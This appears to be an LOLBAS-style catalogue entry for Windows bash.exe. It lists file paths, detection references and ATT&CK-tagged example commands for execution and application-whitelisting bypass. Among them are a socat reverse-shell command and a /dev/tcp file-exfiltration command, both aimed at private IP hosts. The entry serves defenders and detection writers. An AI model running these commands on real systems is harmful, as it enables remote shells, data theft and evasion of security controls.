

.. /Bash.exe

Execute

AWL bypass

File used by Windows subsystem for Linux

Paths:

C:\Windows\System32\bash.exe

C:\Windows\SysWOW64\bash.exe

Resources:

- <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>

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Detections:

- BlockRule: <https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules>
- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_bash.yml
- IOC: Child process from bash.exe

Execute

. Executes calc.exe from bash.exe

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bash.exe -c calc.exe
```

Use case:	Performs execution of specified file, can be used as a defensive evasion.
Privileges required:	User
Operating systems:	Windows 10
ATT&CK® technique:	T1202

. Executes a reverseshell

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bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"
```

Use case:	Performs execution of specified file, can be used as a defensive evasion.
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Operating systems:	Windows 10

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. Exfiltrate data

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bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'
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Use case: Performs execution of specified file, can be used as a defensive evasion.
Privileges required: User
Operating systems: Windows 10
ATT&CK® technique: T1202

AWL bypass

Executes calc.exe from bash.exe

```
bash.exe -c calc.exe
```

Use case: Performs execution of specified file, can be used to bypass Application Whitelisting.
Privileges required: User
Operating systems: Windows 10
ATT&CK® technique: T1202